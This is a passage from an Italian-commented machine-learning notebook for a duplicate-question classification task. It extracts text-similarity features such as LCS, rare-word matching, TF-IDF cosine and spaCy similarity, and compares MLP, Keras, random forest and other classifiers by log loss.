#Checks length of word and if it's a space, then add\\n                    if not (len(str(p)) == 1 and ord(str(p)) == 32):\\n                        dictionary[str(p)] = c\\n                        frequency_list.append((c,1))\\n                        sentence_converted.append(c)\\n                        c = c+1\\n\\n                else:\\n                    c_old = dictionary[str(p)]\\n                    (n, freq) = frequency_list[c_old]\\n                    frequency_list[c_old] = (n, freq+1)\\n                    sentence_converted.append(c_old)\\n\\n            new_col.append(sentence_converted)\\n\\n        converted_data.append(new_col)            \\n\\n    sorted_frequency_list = sorted(frequency_list, key=lambda pair: pair[1], reverse=True)                \\n\\n    return dictionary, sorted_frequency_list, converted_data\\n\\ndictionary, f_list, n_data = build_dictionary(train)\\n\\nid_train = pd.DataFrame({\\n        'id': train['id'],\\n        'question1': n_data[0],\\n        'question2': n_data[1]\\n        })\")\n\n\n# ### Fase 0B: Inizializzazione rete di test\n# ---\n# \n# La rete prescelta per la soluzione di questo problema \u00e8 `MLPClassifier` presente all'interno del package `sklearn`.\n# Come funzione di attivazione \u00e8 stata scelta `logistic` in quanto la probabilit\u00e0 che le due domande siano un duplicato \u00e8 rappresentata da un numero reale compreso tra 0 e 1 (come da istruzioni presenti sul sito)\n# Come algoritmo solver \u00e8 stato scelto `adam` perch\u00e8, dopo aver effettuato dei test di confronto con gli altri algoritmi, \u00e8 risultato essere quello che dava il risultato migliore\n# Come metrica di valutazione \u00e8 stata scelta la funzione `LogLoss` in quanto \u00e8 la stessa utilizzata da Kaggle\n# \n# In questa fase seleziono anche il numero di elementi da usare come insieme di train e quanti invece come insieme di test\n\n# In[3]:\n\n\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.metrics import log_loss\n\nfrom keras.models import Sequential\nfrom keras.layers import Dropout, Dense, BatchNormalization\nfrom keras.losses import binary_crossentropy\nimport keras.utils as kUtils\n\n#labels\nduplicate = train['is_duplicate']\n\n#initialize algorithm\nalg = MLPClassifier(solver='adam', activation='logistic')\n\n# split dataset train/test\nsplit = np.random.rand(len(train)) < 0.8\n\n#funzione di test\ndef test(features, k=0):\n    \n    features_train = features[split]\n    features_test = features[~split]\n\n    labels_train = duplicate[split]\n    labels_test = duplicate[~split]\n\n    alg.fit(features_train, labels_train)\n    predict = alg.predict_proba(features_test)\n    logLoss = log_loss(labels_test, predict)\n\n    print('Sklearn Log Loss: {}'.format(logLoss))\n    \n    plot(predict[:,1], labels_test)\n    \n    ###KERAS NETWORK###\n    features_train = np.asmatrix(features_train)\n    features_test = np.asmatrix(features_test)\n    \n    labels_train = np.asmatrix(labels_train)\n    labels_test = np.asmatrix(labels_test)\n    \n    labels_train = kUtils.to_categorical(labels_train, 2)\n    labels_test = kUtils.to_categorical(labels_test, 2)\n    \n    model = Sequential()\n    model.add(Dense(200, activation='relu', input_dim = features_train.shape[1]))\n    model.add(Dropout(0.1))\n    model.add(BatchNormalization())\n    model.add(Dense(100, activation='relu'))\n    model.add(Dropout(0.1))\n    model.add(BatchNormalization())\n    model.add(Dense(2, activation='sigmoid'))\n    \n    model.compile(loss='binary_crossentropy', optimizer='adam', metrics=['accuracy'])\n    \n    model.fit(features_train, labels_train,\n          batch_size=128,\n          epochs=20,\n          verbose=0,\n          validation_data=(features_test, labels_test))\n    \n    score = model.evaluate(features_test, labels_test, verbose=0)\n    keras_predict = model.predict_proba(features_test)\n\n    print('Keras Log loss: {}'.format(score[0]))\n    #plot(keras_predict[:,1], labels_test)\n    \n    ####################\n    \n    if (k == 1):\n        return predict[:,1]\n    \n    \n\nimport matplotlib.pyplot as plt    \n\n#funzione per mostrare la distribuzione delle predizioni rispetto alle label di test\ndef plot(p, labels_test):\n\n    t = []\n    f = []\n\n    for p, l in zip(p, labels_test):\n        if l == True:\n            t.append(p)\n        else:\n            f.append(p)\n        \n    plt.hist(f, bins=20, normed=True, label='Not Duplicate')\n    plt.hist(t, bins=20, normed=True, alpha=0.7, label='Duplicate')\n    plt.show()\n\n\n# ### FASE 0C: Multithreading\n# ---\n# \n# Scrivo una funzione che suddivida il lavoro su 4 core in modo da velocizzare l'esecuzione dell'algoritmo\n\n# In[4]:\n\n\nfrom threading import Thread\nimport numpy as np\n\ndef split_work(fun, train):    \n    dataframes = np.array_split(train, 4)\n\n    threads = []\n    results = {}\n    i = 0\n    \n    for data in dataframes:\n        t = Thread(target=fun, args=(data, results, i))\n        threads.append(t)\n        t.start()\n        i = i+1\n\n    for t in threads:\n        t.join()\n\n    features = []    \n    for key in sorted(results):\n        features.extend(results[key])\n    \n    return features\n\n\n# ### FASE 0D: Salvataggio e caricamento delle strutture dati\n# ---\n\n# In[5]:\n\n\ndef save(s, o):\n    obj = np.asarray(o)\n    np.save(s, obj)\n        \ndef load(s):\n    return np.load(s)\n\ndef compute(fun, data, file):\n    if not os.path.exists(file):\n        res = split_work(fun, data)\n        save(file, res)\n    else:\n        res = load(file)\n    \n    return res\n\n\n# ### FASE 1: Estrazione Features di base\n# ---\n# \n# Come prima cosa risulta utile estrarre le feature pi\u00f9 semplici che possono caratterizzare una frase:\n# \n# * `q1_words`: numero di parole contenute nella prima domanda\n# * `q1_letters`: numero di caratteri contenuti nella prima domanda\n# * `q2_words`: numero di parole contenute nella seconda domanda\n# * `q2_letters`: numero di lettere contenute nella seconda domanda\n# \n# Infatti risulta piuttosto intuitivo che frasi di simile lunghezza hanno pi\u00f9 probabilit\u00e0 di avere lo stesso significato\n\n# In[6]:\n\n\nget_ipython().run_cell_magic('time', '', \"import os\\n\\ndef base_extraction(data):\\n\\n    if not os.path.exists('base_features.csv'):\\n        #Count number of words and letters for each 'question1'\\n        q1_words = data['question1'].apply(lambda x: len(str(x).split(' ')))\\n        q1_letters = data['question1'].apply(lambda x: len(str(x)))\\n\\n        #Count number of words and letters for each 'question2'\\n        q2_words = data['question2'].apply(lambda x: len(str(x).split(' ')))\\n        q2_letters = data['question2'].apply(lambda x: len(str(x)))\\n\\n        features = pd.DataFrame({\\n                    'q1_words': q1_words,\\n                    'q1_letters': q1_letters,\\n                    'q2_words': q2_words,\\n                    'q2_letters': q2_letters,\\n                    })\\n        \\n        features.to_csv('base_features.csv', index=False, header=list(features))\\n    else:\\n        features = pd.read_csv('base_features.csv')\\n    \\n    return features\\n\\nfeatures = base_extraction(train)\\n\\n#TEST\\n\\n#test(features)\")\n\n\n# ### Fase 2: LCS\n# ---\n# \n# Dovendo stabilire la similarit\u00e0 tra due frasi un buon indicatore pu\u00f2 essere la presenza di sottosequenze comuni, ho quindi deciso di prendere come parametro la lunghezza della pi\u00f9 lunga sottostringa comune tra le due domande.\n\n# In[7]:\n\n\nget_ipython().run_cell_magic('time', '', \"\\ndef LCSLength(data, results, k):\\n    res =[]\\n    \\n    for row in data.itertuples():\\n        X = getattr(row, 'question1')\\n        Y = getattr(row, 'question2')\\n        m = len(X)\\n        n = len(Y)\\n        C = np.zeros((m,n), dtype=np.int8);\\n        for i in range(m):\\n            for j in range(n):\\n                if X[i] == Y[j]:\\n                    C[i,j] = C[i-1,j-1] + 1\\n                else:\\n                    C[i,j] = max(C[i,j-1], C[i-1,j])    \\n        res.append(C[m-1,n-1])\\n    results[k] = res\\n\\nLCSs = compute(LCSLength, id_train, 'LCS.npy')\\nfeatures = features.assign(**{'LCS' : LCSs})\\n\\n#TEST\\n\\n#test(features)\")\n\n\n# ### Fase 3: Word Similar Share\n# ---\n# \n# Appoggiandomi alla libreria `Spacy`, libreria specifica per il Natural Language Processing, ho calcolato un indice di similarit\u00e0 tra le due domande come somma degli indici di similarit\u00e0 tra ciascuna coppia di parole (`w1`,`w2`) dove `w1` appartiene alla prima domanda e `w2` alla seconda\n# \n# Inizialmente avevo normalizzato l'indice rispetto alla lunghezza delle due domande ma la predizione risultava pi\u00f9 precisa senza normalizzazione\n\n# In[8]:\n\n\nimport spacy\nnlp = spacy.load('en_core_web_md')\n\n\n# In[9]:\n\n\ndef word_similar_share(data, results, i):\n    res = []\n    for row in data.itertuples():   \n        q1 = getattr(row, 'question1')\n        q2 = getattr(row, 'question2')\n    \n        q1words = nlp(str(q1))\n        q2words = nlp(str(q2))\n\n        jac = 0\n\n        for w1 in q1words:\n            s_w1 = str(w1)\n            if not (len(s_w1) == 1 and ord(s_w1) == 32):\n                for w2 in q2words:\n                    s_w2 = str(w2)\n                    if not (len(s_w2) == 1 and ord(s_w2) == 32):\n                        jac = jac + w1.similarity(w2)\n        \n        res.append(jac)\n    results[i] = res\n############################################\n\n#word_match = split_work(word_similar_share, train)    \n#features_tmp = features.assign(**{'Word_Match' : word_match})\n\n#TEST\n\n#test(features_tmp)\n\n\n# ### Fase 4: Common/Rare Words\n# ---\n# \n# In miglioramento dell'algoritmo visto alla fase 3 \u00e8 l'introduzione del concetto di parola comune e parola rara\n# Una parola \u00e8 considerata rara se la sua frequenza \u00e8 bassa, e similmente \u00e8 considerata comune se la sua frequenza \u00e8 alta\n# \n# Si ottengono quindi due algoritmi distinti, entrambi ignorano le parole comuni\n# * `word_match_rare_function`: prendendo in considerazione le parole rare si ottiene un indice di similarit\u00e0 che viene incrementato di 1 per ogni parola rara che le due domande hanno in comune e decrementato di 1 per ogni parola rara che compare in una sola delle due domande\n# * `word_similar_share_cr`: come il `word_similar_share` visto al punto 3\n# \n# Anche in questo caso normalizzare gli indici ne riduce la capacit\u00e0 predittiva\n\n# In[10]:\n\n\ndef word_match_rare_function(data, results, i):\n    res = []\n    for row in data.itertuples():   \n        q1words = getattr(row, 'question1')\n        q2words = getattr(row, 'question2')\n\n        rare_jac = 0\n        #n_rare = 0\n        q1_rares = set()\n        q2_rares = set()\n\n        for w1 in q1words:\n            if w1 in rare_words:\n                q1_rares.add(w1)\n\n        for w2 in q2words:\n            if w2 in rare_words:\n                q2_rares.add(w2)\n\n        for w1r in q1_rares:\n            if w1r in q2_rares:\n                rare_jac = rare_jac + 1\n            else:\n                rare_jac = rare_jac - 1\n\n        for w2r in q2_rares:\n            if not w2r in q1_rares:\n                rare_jac = rare_jac - 1\n        '''                \n        try:\n            rare_jac = rare_jac/n_rare\n        except:\n            rare_jac = 0                            \n        '''\n        res.append(rare_jac)\n    results[i] = res\n\ndef word_similar_share_cr(data, results, i):\n    res = []\n    for row in data.itertuples():   \n        q1 = getattr(row, 'question1')\n        q2 = getattr(row, 'question2')\n    \n        q1words = nlp(str(q1))\n        q2words = nlp(str(q2))\n\n        jac = 0\n\n        for w1 in q1words:\n            s_w1 = str(w1)\n            if not (len(s_w1) == 1 and ord(s_w1) == 32 and s_w1 not in common_words):\n                for w2 in q2words:\n                    s_w2 = str(w2)\n                    if not (len(s_w2) == 1 and ord(s_w2) == 32 and s_w2 not in common_words):\n                        jac = jac + w1.similarity(w2)\n                try:\n                    jac = jac/(len(q1words)+len(q2words))\n                except:\n                    jac = 0                \n        res.append(jac)\n    results[i] = res\n\ncommon_words = set()\nrare_words = set()\n\n#build rare words set\nfor (p,f) in f_list:\n    if f<=20:\n        rare_words.add(p)\n\n#Build common words set\nfor (p,f) in f_list[:10]:\n    common_words.add(p)\n\n#Find similarity with Jaccard for each question pair\n#word_match_cr = split_work(word_similar_share_cr, train)\n#word_match_rare = split_work(word_match_rare_function, id_train)\n\n#features_tmp = features.assign(**{'Word_Match_cr' : word_match_cr})\n#features_tmp = features.assign(**{'Word_Match_rare' : word_match_rare})\n\n#TEST\n\n#test(features_tmp)\n\n\n# ### Fase 4B: vari valori per Common e Rare\n# ---\n# \n# I valori di frequenza per le parole comuni e rare al punto 4 erano stati scelti arbitrariamente, quindi in questa fase si testeranno vari valori per tali frequenze per determinare le migliori\n\n# In[11]:\n\n\n# start = time.time()\n\n# for F in range(20, 110, 10):\n#     for n in range(4, 11):\n#         data_tmp = features.copy()\n#         C = pow(2,n)\n\n#         common_words = set()\n#         rare_words = set()\n\n#         #build rare words list\n#         for (p,f) in f_list:\n#             if f<=F:\n#                 rare_words.add(p)\n\n#         #Build common words list\n#         for (p,f) in f_list[:C]:\n#             common_words.add(p)\n\n#         #Find similarity with Jaccard for each question pair\n#         word_match_cr = train.apply(word_similar_share_cr, axis=1, raw=True)\n#         word_match_rare = id_train.apply(word_match_rare_function, axis=1, raw=True)\n\n#         data_tmp = data_tmp.assign(**{'Word_Match_cr' : word_match_cr})\n#         data_tmp = data_tmp.assign(**{'Word_Match_rare' : word_match_rare})\n\n#         #TEST\n\n#         features_train = features_tmp[split]\n#         features_test = features_tmp[~split]\n\n#         labels_train = duplicate[split]\n#         labels_test = duplicate[~split]\n\n#         alg.fit(features_train, labels_train)\n#         predict = alg.predict_proba(features_test)\n#         logLoss = log_loss(labels_test, predict)\n\n#         results = []\n#         results.append((C,F,logLoss))\n#         print(\"Log loss C: {}, F: {} = {}\".format(C,F,logLoss))\n\n# sorted_results = sorted(results, key=lambda pair: pair[2])\n# print(sorted_results[:5])\n# end = time.time()\n# print('time: {}'.format(end - start))\n\n\n# ### Fase 4C: deduzioni\n# ---\n# \n# Dall'esecuzione della fase 5 si deduce che i parametri che danno il risultato migliore sono `C = 64 ` e `F = 50`. Non \u00e8 detto che si rivelino buoni parametri anche per il set di test ma dato che comunque l'algoritmo basato sulle parole rare si ha dimostrato di dare buoni risultati terr\u00f2 questi parametri validi anche per il caso di test.\n# In ogni caso il valore dei parametri incide poco sul risultato finale, in quanto il valore migliore risulta essere `0.4996397287043904` mentre il peggiore \u00e8 `0.5068634596789862` per una differenza di `0.00722373097`\n\n# In[12]:\n\n\nget_ipython().run_cell_magic('time', '', \"\\nF = 50\\nC = 64\\n\\ndef word_match_rare_function(data, results, i):\\n    res = []\\n    for row in data.itertuples():   \\n        q1words = getattr(row, 'question1')\\n        q2words = getattr(row, 'question2')\\n\\n        rare_jac = 0\\n        #n_rare = 0\\n        q1_rares = set()\\n        q2_rares = set()\\n\\n        for w1 in q1words:\\n            if w1 in rare_words:\\n                q1_rares.add(w1)\\n\\n        for w2 in q2words:\\n            if w2 in rare_words:\\n                q2_rares.add(w2)\\n\\n        for w1r in q1_rares:\\n            if w1r in q2_rares:\\n                rare_jac = rare_jac + 1\\n            else:\\n                rare_jac = rare_jac - 1\\n\\n        for w2r in q2_rares:\\n            if not w2r in q1_rares:\\n                rare_jac = rare_jac - 1\\n        '''                \\n        try:\\n            rare_jac = rare_jac/n_rare\\n        except:\\n            rare_jac = 0                            \\n        '''\\n        res.append(rare_jac)\\n    results[i] = res\\n\\ndef word_similar_share_cr(data, results, i):\\n    res = []\\n    for row in data.itertuples():   \\n        q1 = getattr(row, 'question1')\\n        q2 = getattr(row, 'question2')\\n    \\n        q1words = nlp(str(q1))\\n        q2words = nlp(str(q2))\\n\\n        jac = 0\\n\\n        for w1 in q1words:\\n            s_w1 = str(w1)\\n            if not (len(s_w1) == 1 and ord(s_w1) == 32 and s_w1 not in common_words):\\n                for w2 in q2words:\\n                    s_w2 = str(w2)\\n                    if not (len(s_w2) == 1 and ord(s_w2) == 32 and s_w2 not in common_words):\\n                        jac = jac + w1.similarity(w2)\\n                '''\\n                try:\\n                    jac = jac/(len(q1words)+len(q2words))\\n                except:\\n                    jac = 0\\n                '''    \\n        res.append(jac)\\n    results[i] = res\\n\\ncommon_words = set()\\nrare_words = set()\\n\\n#build rare words set\\nfor (p,f) in f_list:\\n    if f<=F:\\n        rare_words.add(p)\\n\\n#Build common words set\\nfor (p,f) in f_list[:C]:\\n    common_words.add(p)\\n\\n#Find similarity with Jaccard for each question pair\\nword_match_cr = compute(word_similar_share_cr, train, 'word_match_cr.npy')\\nword_match_rare = compute(word_match_rare_function, id_train, 'word_match_rare.npy')\\n    \\nfeatures = features.assign(**{'Word_Match_cr' : word_match_cr})\\nfeatures = features.assign(**{'Word_Match_rare' : word_match_rare})\\n\\n#TEST\\n\\n#test(features)\")\n\n\n# ### Fase 5: Cosine Similarity\n# ---\n# \n# Un altro utile parametro per la similarit\u00e0 tra frasi \u00e8 la Cosine similarity: una tecnica euristica per la misurazione della similitudine tra due vettori effettuata calcolando il coseno tra di loro.\n# \n# Per poterla applicare \u00e8 quindi necessario convertire ciascuna frase in una `Bag of words`, cio\u00e8 un'array di dimensione pari al numero di parole distinte presenti all'interno del dataset. In questo array la posizione i-esima \u00e8 settata a 1 se la parola comprare nella frase, 0 altrimenti.\n# In pratica ciascuna frase \u00e8 rappresentata come un vettore in uno spazio n-dimensionale (con n pari alla dimensione di ciascuna `Bag of words`)\n# A questo punto si applica semplicemente la cosine similarity tra i due vettori ottenuti\n\n# In[13]:\n\n\n# start = time.time()\n\n# #bag words size\n# dim = len(dictionary.keys())\n# print(\"bag words size: {}\".format(dim))\n\n# #converte ogni frase in una bag of words da usare per la cosine similarity\n# def cosineConversion(sentence):\n#     s = np.zeros(dim)\n#     for w in sentence:\n#         s[w] = 1\n#     return s\n    \n# #simple wrap for cosineConversion\n# def cosineConversion_wrap(data):\n#     c1 = []\n#     c2 = []\n#     for sent1 in data['question1']:\n#         s1 = cosineConversion(sent1)\n#         c1.append(s1)\n\n#     for sent2 in data['question2']:\n#         s2 = cosineConversion(sent2)\n#         c2.append(s2)\n\n#     return c1, c2\n\n# #calculate Cosine Similarity\n# def cosineSimilarity(row):\n#     a = row['question1']\n#     b = row['question2']\n\n#     cos_sim = dot(a, b)/(norm(a)*norm(b))\n\n#     return cos_sim\n\n\n\n# cosine1, cosine2 = cosineConversion_wrap(id_train)\t\n\n# cosine_data = pd.DataFrame({\n#             'id': train['id'],\n#             'question1': cosine1,\n#             'question2': cosine2\n#             })\n\n# mid = time.time()\n\n# print('Cosine Similarity dataset: {}'.format(mid - start))\n\n# cosine_similarity = cosine_data.apply(cosineSimilarity, axis=1, raw=True)\n\n# features_tmp = features.copy().assign(**{'Cosine Similarity' : cosine_similarity})\n\n# end = time.time()\n# print('Cosine Similarity Algorithm: {}'.format(end - mid))\n\n# #TEST\n\n# test(features_tmp)\n\n\n# Sfortunatamente questa prima versione dell'algoritmo occupa troppa memoria \n\n# ### Fase 5B: cosine similarity migliorata\n# ---\n# Questa versione dell'algoritmo \u00e8 pi\u00f9 efficiente rispetto alla precedente e occupa molta meno memoria. Inoltre invece che far assumere a ciascun elemento della `Bag of words` i valori 0/1, `Sentence[w]` varr\u00e0  `n` cio\u00e8 il numero di apparizioni della data parola all'interno della frase\n\n# In[14]:\n\n\nfrom numpy.linalg import norm\n\n#bag words size\ndim = len(dictionary.keys())\n\ndef cosineConversion(sentence):\n    s = np.zeros(dim, dtype=np.int8)\n    for w in sentence:\n        s[w] = s[w] + 1\n    return s\n\ndef cosineSimilarity(data, results, i):\n    res = []\n    for row in data.itertuples():   \n        q1 = getattr(row, 'question1')\n        q2 = getattr(row, 'question2')\n    \n        a = cosineConversion(q1)\n        b = cosineConversion(q2)\n\n        cos_sim = np.dot(a, b)/(norm(a)*norm(b))\n\n        res.append(cos_sim)\n    results[i] = res\n\n    \n#cosine_similarity = split_work(cosineSimilarity, id_train)\n#features_tmp = features.assign(**{'Cosine Similarity' : cosine_similarity})\n\n#TEST\n\n#test(features_tmp)\n\n\n# ### Fase 5C: Cosine Similarity Sklearn\n# ---\n# \n# La `Cosine Similarity` sembrava un buon parametro ma l'algoritmo precedentemente utilizzato non dava il risultato sperato, cos\u00ec mi sono appoggiato all'algoritmo presente all'interno del pacchetto `Sklearn`\n\n# In[15]:\n\n\nget_ipython().run_cell_magic('time', '', \"from sklearn.feature_extraction.text import TfidfVectorizer as TF\\nfrom sklearn.metrics.pairwise import cosine_similarity\\n\\ndef cosineSimilarity(data, results, i):\\n    res = []\\n    for row in data.itertuples():   \\n        q1 = str(getattr(row, 'question1'))\\n        q2 = str(getattr(row, 'question2'))\\n\\n        vect = TF(min_df=1)\\n        tfidf = vect.fit_transform([q1, q2])\\n\\n        res.append((tfidf * tfidf.T).A[0,1])\\n    results[i] = res\\n    \\ndef cosineSimilarity2(data):\\n    vect = TF(min_df=1)\\n    l1 = data['question1']\\n    l2 = data['question2']\\n    res = []\\n    \\n    vect.fit(data['question1'] + data['question2'])\\n    for row in data.itertuples():   \\n        q1 = str(getattr(row, 'question1'))\\n        q2 = str(getattr(row, 'question2'))\\n\\n        tf1 = vect.transform(q1)\\n        tf2 = vect.transform(q2)\\n\\n        cs = cosine_similarity(tf1,tf2)\\n        res.append(cs)\\n\\n#cos_sim = compute(cosineSimilarity, train, 'cosine_similarity.npy')\\ncos_sim = cosineSimilarity2(train)\\nfeatures = features.assign(**{'cos_sim': cos_sim})\\n\\n#TEST\\n#test(features)\")\n\n\n# La cosine similarity calcolata da Sklearn risulta essere migliore rispetto a quella calcolata precedente\n\n# ### Fase 6: Spacy Sentence similarity\n# ---\n# \n# La libreria Spacy prevede la possibilit\u00e0 di calcolare direttamente un indice di similarit\u00e0 tra frasi, questo si va ad aggiungere ai parametri precedenti \n\n# In[16]:\n\n\nget_ipython().run_cell_magic('time', '', \"\\ndef sentenceSimilarity(data, results, i):\\n    res = []\\n    for row in data.itertuples():   \\n        q1s = getattr(row, 'question1')\\n        q2s = getattr(row, 'question2')\\n    \\n        q1 = nlp(str(q1s))\\n        q2 = nlp(str(q2s))\\n\\n        res.append(q1.similarity(q2))\\n    results[i] = res\\n\\nspacy_sim = compute(sentenceSimilarity, train, 'spacy_similarity.npy')\\nfeatures = features.assign(**{'spacy_sim': spacy_sim})     \\n\\n#TEST\\n\\n#test(features)\\n\\nfeatures_set = features\")\n\n\n# ## Recap\n# ---\n# \n# I parametri finora individuati sono:\n# * features di base\n# * LCS\n# * jaccard common/rare\n# * cosine similarity (Sklearn)\n# * Spacy sentence similarity\n# \n# essi risultano ottimi per l'individuazione di frasi non duplicate, risulta invece pi\u00f9 difficile individuare i doppioni\n\n# ## GridSearch\n\n# In[18]:\n\n\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import make_scorer\n'''\nX_train = features[split]\nX_test = features[~split]\n\ny_train = duplicate[split]\ny_test = duplicate[~split]\n\npossible_parameters = {\n    'activation': ['identity', 'logistic', 'tanh', 'relu'],\n    'solver': ['lbfgs', 'sgd', 'adam']\n}\n\nalg = MLPClassifier()\nloss_f = make_scorer(log_loss, greater_is_better=False, needs_proba=True)\n\n# The GridSearchCV is itself a classifier\n# we fit the GridSearchCV with the training data\n# and then we use it to predict on the test set\nclf = GridSearchCV(alg, possible_parameters, n_jobs=4, scoring=loss_f) # n_jobs=4 means we parallelize the search over 4 threads\nclf.fit(X_train, y_train)\n\ny_pred = clf.predict_proba(X_test)\nlogLoss = log_loss(y_test, y_pred)\n\nlogLoss\n'''\n\n\n# In[ ]:\n\n\n'''\ncv = clf.cv_results_\ntab = pd.DataFrame({\n    'mean_fit_time': cv['mean_fit_time'],\n    'mean_score_time': cv['mean_score_time'],\n    'mean_test_score': cv['mean_test_score'],\n    'mean_train_score': cv['mean_train_score'],\n    'param_activation': cv['param_activation'],\n    'param_solver': cv['param_solver'],\n    'rank_test_score': cv['rank_test_score']\n})\n\ntab.sort_values(['rank_test_score']).head(3)\n'''\n\n\n# In[26]:\n\n\nget_ipython().run_cell_magic('time', '', \"\\nfrom sklearn.model_selection import GridSearchCV\\nfrom sklearn.metrics import make_scorer\\n\\nalg = MLPClassifier(solver='adam', activation='logistic')\\nloss_f = make_scorer(log_loss, greater_is_better=False, needs_proba=True)\\n\\nX_train = features[split]\\nX_test = features[~split]\\n\\ny_train = duplicate[split]\\ny_test = duplicate[~split]\\n\\npossible_parameters = {\\n    'alpha': [0.0001, 0.00005],\\n    'batch_size': [100, 50],\\n    'learning_rate_init': [0.001, 0.0005],\\n    'beta_1': [0.9, 0.99],\\n    'beta_2': [0.999, 0.5],\\n    'epsilon': [5e-9, 2e-9]\\n}\\n\\nclf2 = GridSearchCV(alg, possible_parameters, n_jobs=4, scoring=loss_f) # n_jobs=4 means we parallelize the search over 4 threads\\nclf2.fit(X_train, y_train)\\n\\ny_pred = clf2.predict_proba(X_test)\\nlogLoss = log_loss(y_test, y_pred)\\n\\nlogLoss\")\n\n\n# In[28]:\n\n\ncv = clf2.cv_results_\ntab = pd.DataFrame({\n    'mean_fit_time': cv['mean_fit_time'],\n    'mean_score_time': cv['mean_score_time'],\n    'mean_test_score': cv['mean_test_score'],\n    'mean_train_score': cv['mean_train_score'],\n    'param_alpha': cv['param_alpha'],\n    'param_batch_size': cv['param_batch_size'],\n    'param_learning_rate_init': cv['param_learning_rate_init'],\n    'rank_test_score': cv['rank_test_score'],\n    'param_beta_1': cv['param_beta_1'],\n    'param_epsilon': cv['param_epsilon']\n})\n\ntab.sort_values(['rank_test_score']).head(3)\n\n\n# ## Random Forest Classifier\n\n# In[39]:\n\n\nget_ipython().run_cell_magic('time', '', \"from sklearn.ensemble import RandomForestClassifier\\n\\nrf = RandomForestClassifier(random_state=0, n_jobs=4)\\n\\npossible_parameters = {\\n    'max_depth': [x for x in range(1, 20, 1)],\\n    'criterion': ['gini', 'entropy'],\\n    'max_features': ['auto', 'log2', None]\\n}\\n\\nclf = GridSearchCV(rf, possible_parameters, n_jobs=4, scoring=loss_f)\\n\\nclf.fit(X_train, y_train)\")\n\n\n# In[42]:\n\n\ny_pred = clf.predict_proba(X_test)\nlogLoss = log_loss(y_test, y_pred)\n\nlogLoss\n\n\n# Max_depth = 2, gini: 0.5456\n\n# In[41]:\n\n\ncv_rf = clf.cv_results_\ntab = pd.DataFrame({\n    'mean_fit_time': cv_rf['mean_fit_time'],\n    'mean_score_time': cv_rf['mean_score_time'],\n    'mean_test_score': cv_rf['mean_test_score'],\n    'mean_train_score': cv_rf['mean_train_score'],\n    'param_max_depth': cv_rf['param_max_depth'],\n    'param_criterion': cv_rf['param_criterion'],\n    'param_max_features': cv_rf['param_max_features'],\n    'rank_test_score': cv_rf['rank_test_score'],\n})\n\ntab.sort_values(['rank_test_score']).head(3)\n\n\n# ## Normalize Data\n\n# In[22]:\n\n\nfrom sklearn.preprocessing import MinMaxScaler\nimport warnings\nwarnings.filterwarnings('ignore')\n\nfeatures_scaled = pd.DataFrame(columns = list(features))\n\nletters_scaler = MinMaxScaler()\nwords_scaler = MinMaxScaler()\n\nletters_scaler.fit(features['q1_letters'] + features['q2_letters'])\nfeatures_scaled['q1_letters'] = letters_scaler.transform(features['q1_letters'])\nfeatures_scaled['q2_letters'] = letters_scaler.transform(features['q2_letters'])\n\nwords_scaler.fit(features['q1_words'] + features['q2_words'])\nfeatures_scaled['q1_words'] = words_scaler.transform(features['q1_words'])\nfeatures_scaled['q2_words'] = words_scaler.transform(features['q2_words'])\n\nfor feat in  ['LCS', 'Word_Match_cr', 'Word_Match_rare', 'cos_sim', 'spacy_sim']:\n    features_scaled[feat] = MinMaxScaler().fit_transform(features[feat])\n\n\n# ### MLPClassifier\n\n# In[24]:\n\n\nfrom sklearn.model_selection import GridSearchCV\nfrom sklearn.metrics import make_scorer\n\nalg = MLPClassifier(solver='adam', activation='logistic')\nloss_f = make_scorer(log_loss, greater_is_better=False, needs_proba=True)\n\nX_train = features_scaled[split]\nX_test = features_scaled[~split]\n\ny_train = duplicate[split]\ny_test = duplicate[~split]\n\npossible_parameters = {\n    'alpha': [0.0001, 0.00005],\n    'batch_size': [100, 50],\n    'learning_rate_init': [0.001, 0.0005],\n    'beta_1': [0.9, 0.99],\n    'beta_2': [0.999, 0.5],\n    'epsilon': [5e-9, 2e-9]\n}\n\nmlp = GridSearchCV(alg, possible_parameters, n_jobs=4, scoring=loss_f) # n_jobs=4 means we parallelize the search over 4 threads\nmlp.fit(X_train, y_train)\n\n\n# In[25]:\n\n\ncv = mlp.cv_results_\ntab = pd.DataFrame({\n    'mean_fit_time': cv['mean_fit_time'],\n    'mean_score_time': cv['mean_score_time'],\n    'mean_test_score': cv['mean_test_score'],\n    'mean_train_score': cv['mean_train_score'],\n    'param_alpha': cv['param_alpha'],\n    'param_batch_size': cv['param_batch_size'],\n    'param_learning_rate_init': cv['param_learning_rate_init'],\n    'rank_test_score': cv['rank_test_score'],\n    'param_beta_1': cv['param_beta_1'],\n    'param_epsilon': cv['param_epsilon']\n})\n\ntab.sort_values(['rank_test_score']).head(3)\n\n\n# ### Random Forest\n\n# In[29]:\n\n\nfrom sklearn.ensemble import RandomForestClassifier\n\nrf = RandomForestClassifier(random_state=0, n_jobs=4)\n\npossible_parameters = {\n    'max_depth': [x for x in range(1, 20, 1)],\n    'criterion': ['gini', 'entropy'],\n    'max_features': ['auto', 'log2', None]\n}\n\npossible_parameters['max_depth'].append(None)\n\nclf = GridSearchCV(rf, possible_parameters, n_jobs=4, scoring=loss_f)\n\nclf.fit(X_train, y_train)\n\n\n# In[30]:\n\n\ncv_rf = clf.cv_results_\ntab = pd.DataFrame({\n    'mean_fit_time': cv_rf['mean_fit_time'],\n    'mean_score_time': cv_rf['mean_score_time'],\n    'mean_test_score': cv_rf['mean_test_score'],\n    'mean_train_score': cv_rf['mean_train_score'],\n    'param_max_depth': cv_rf['param_max_depth'],\n    'param_criterion': cv_rf['param_criterion'],\n    'param_max_features': cv_rf['param_max_features'],\n    'rank_test_score': cv_rf['rank_test_score'],\n})\n\ntab.sort_values(['rank_test_score']).head(3)\n\n\n# In[21]:\n\n\nX_train = features[split]\nX_test = features[~split]\n\ny_train = duplicate[split]\ny_test = duplicate[~split]\n\n\n# ### Naive Bayes Gaussian\n\n# In[33]:\n\n\nfrom sklearn.naive_bayes import GaussianNB\n\ngnb = GaussianNB()\ngnb.fit(X_train, y_train)\n\ny_pred = gnb.predict_proba(X_test)\nlogLoss = log_loss(y_test, y_pred)\n\nlogLoss\n\n\n# ### Quadratic Discriminant\n\n# In[34]:\n\n\nfrom sklearn.discriminant_analysis import QuadraticDiscriminantAnalysis\n\nqda = QuadraticDiscriminantAnalysis()\nqda.fit(X_train, y_train)\n\ny_pred = qda.predict_proba(X_test)\nlogLoss = log_loss(y_test, y_pred)\n\nlogLoss\n\n\n# ### Support Vector 